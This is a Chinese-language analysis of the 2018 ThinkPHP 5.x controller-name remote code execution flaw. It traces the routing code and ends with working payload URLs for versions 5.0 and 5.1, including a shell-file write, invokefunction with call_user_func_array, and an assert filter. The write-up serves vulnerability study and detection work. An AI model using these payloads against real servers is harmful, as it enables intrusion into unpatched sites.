thinkphp 5.x任意程式碼執行(GetShell)分析
0x01: 漏洞簡介
2018-12-10 PHP/">ThinkPHP5系列釋出安全更新,該安全更新修復了一處嚴重漏洞,該漏洞可導致(php/系統)程式碼執行。
由於框架對控制器名沒有進行足夠的檢測會導致在沒有開啟強制路由的情況下可能的getshell漏洞。
本文轉載自先知社群,原文作者:水泡泡 https://xz.aliyun.com/t/3570
0x02: 影響範圍
ThinkPHP 5.x
5.1.x ~ 5.1.31
5.0.x ~ 5.0.23
0x03: 漏洞原理
結合官方公告說的由於對控制器名沒有足夠的檢測,再檢視官方git commit資訊
拉一個tp下來,用的是tp 5.1.29的版本,windows+phpstudy 一把梭,搭建好環境。
在官方修改的地方加斷點(thinkphp\library\think\route\dispatch\Module.php),載入預設的控制器來分析。
http://127.0.0.1/index.php/index/index/index
命中斷點
一步步跟進controller的走向,發現在同文件下的 exec函式,例項化控制器
跟進controller方法,thinkphp\library\think\App.php
使用parseModuleAndClass方法來解析,繼續跟進
分析一下程式碼,發現會有一個判斷,當控制器名中包含了反斜槓,就會直接返回,繼續跟蹤。
此處沒有包含,所以會進入下面的判斷,最後使用parseClass來解析,跟進parseClass函式
發現經過parseName之後index變成了首字母大寫,原因是經過了命名風格轉換。
最後會將名稱空間類名等進行拼接
返回我們帶名稱空間的完整類名。
跟進,回到了controller方法,此時判斷類是否存在,不存在會觸發自動載入類。
之後就是例項化類,使用反射來呼叫類的相應方法了。(偷懶省略掉了,主要是介紹一下分析的主要過程)
大概流程摸清楚了,那麼這個漏洞是怎麼觸發的呢?
在跟蹤的時候我們發現,類名都是帶有完整的名稱空間的,而名稱空間恰好就是使用反斜槓來劃分,結合那一個判斷程式碼:反斜槓是否存在,直接返回類名的操作。
不難想到是可以呼叫任意類的方法。
比如這樣?
http://127.0.0.1/index.php/index/think\app/index
請求一下,發現報錯了。
what the fuck? 我的反斜槓怎麼變成了正斜槓了?而且這個控制器怎麼獲取的是Think?
猜測是瀏覽器的原因,用bp發包一樣如此,那麼還有沒有其他方法可以獲取到呢?
翻了一下tp的配置檔案
發現可以使用s來獲取引數,那麼我們就可以嘗試這樣請求
http://127.0.0.1/index.php?s=/index/think\app/index
成功例項化了App類,因為沒有index 方法所以這裡會報錯。
但已經驗證了整個漏洞的原理。
控制器過濾不嚴,結合直接返回類名的程式碼操作,導致可以用名稱空間的方式來呼叫任意類的任意方法。
http://127.0.0.1/index.php?s=/index/namespace\class/method
漏洞點找到了,那麼接下來就是找利用點了。
0x04: 漏洞利用
tp 5.1.29 簡單找了個寫shell的方法,看到thinkphp\library\think\template\driver\File.php 檔案
有一個完美的寫shell方法。
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
執行之後會在根目錄下寫入shell.php ,內容是輸出phpinfo();
那麼tp 5.0要怎麼利用呢??接下來就是踩坑之旅了。
0x05: 無盡的踩坑
把tp 5.1的payload,拉過去打一發,發現報錯了,控制器不存在??
猜測是5.0和5.1的檔案可能不一樣,開啟一看,都一樣啊,怎麼載入不了。
上斷點,跟蹤。此處省略一萬字。
跟蹤半天發現類載入器有這麼一行程式碼。位置: thinkphp\library\think\Loader.php 方法 autoload
以及一開始的獲取控制器的時候 會判斷是否自動轉換控制器,將控制器名變成小寫。
而這個url_convert配置項預設是true。
而我們的類檔名是大寫的。
那麼在win下,由於嚴格區分大小寫,所以必然不會載入到相應的類檔案。
(圖中判斷,由於IS_WIN為True,!IS_WIN必為False,邏輯與,一個為False條件就成立。)
雖然最終由於繫結引數的問題導致該方法依然不可以用(這個問題就不展開分析了)
但是這個win環境的問題確實卡了我很久。
也難怪別人的payload都是這樣那樣的,原來是linux的環境,可以載入的類多了不少。
最終也導致5.0的自己沒有找到利用的類。
0x05: 相容多平臺的payload
綜上,由於Windows的原因,所以有一些payload在windows的主機上是不可以利用的。
那麼哪些payload是可以相容多個平臺呢?
由於windows自動載入類載入不到想要的類檔案,所以能夠下手的就是在框架載入的時候已經載入的類。
5.1是下面這些:
think\Loader Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561 think\Error think\Container think\App think\Env think\Config think\Hook think\Facade think\facade\Env env think\Db think\Lang think\Request think\Log think\log\driver\File think\facade\Route route think\Route think\route\Rule think\route\RuleGroup think\route\Domain think\route\RuleItem think\route\RuleName think\route\Dispatch think\route\dispatch\Url think\route\dispatch\Module think\Middleware think\Cookie think\View think\view\driver\Think think\Template think\template\driver\File think\Session think\Debug think\Cache think\cache\Driver think\cache\driver\File
5.0 的有:
think\Route think\Config think\Error think\App think\Request think\Hook think\Env think\Lang think\Log think\Loader
兩個版本公有的是:
think\Route think\Loader think\Error think\App think\Env think\Config think\Hook think\Lang think\Request think\Log
本想找出兩個版本共有的利用類和方法,但由於類檔案大多被重寫了,所以沒耐住性子一一去找(菜)
所以,payload為上述類的利用方法,是可以相容windows和linux多個平臺的,相容多個平臺有什麼用呢?外掛批量可以減少誤判等,一條payload通用,一把梭多好。比如:
5.1.x php版本>5.5
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
5.0.x php版本>=5.4
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
0x06: 總結
至此,算是把整個漏洞分析記錄講完了,和p喵嗚聊的時候,他也是被win坑的老慘。
所以珍惜生命,遠離windows xd。
還有就是自己太菜了,給各位大佬遞頭。
參考文章:
https://www.anquanke.com/post/id/167653
https://xz.aliyun.com/t/3570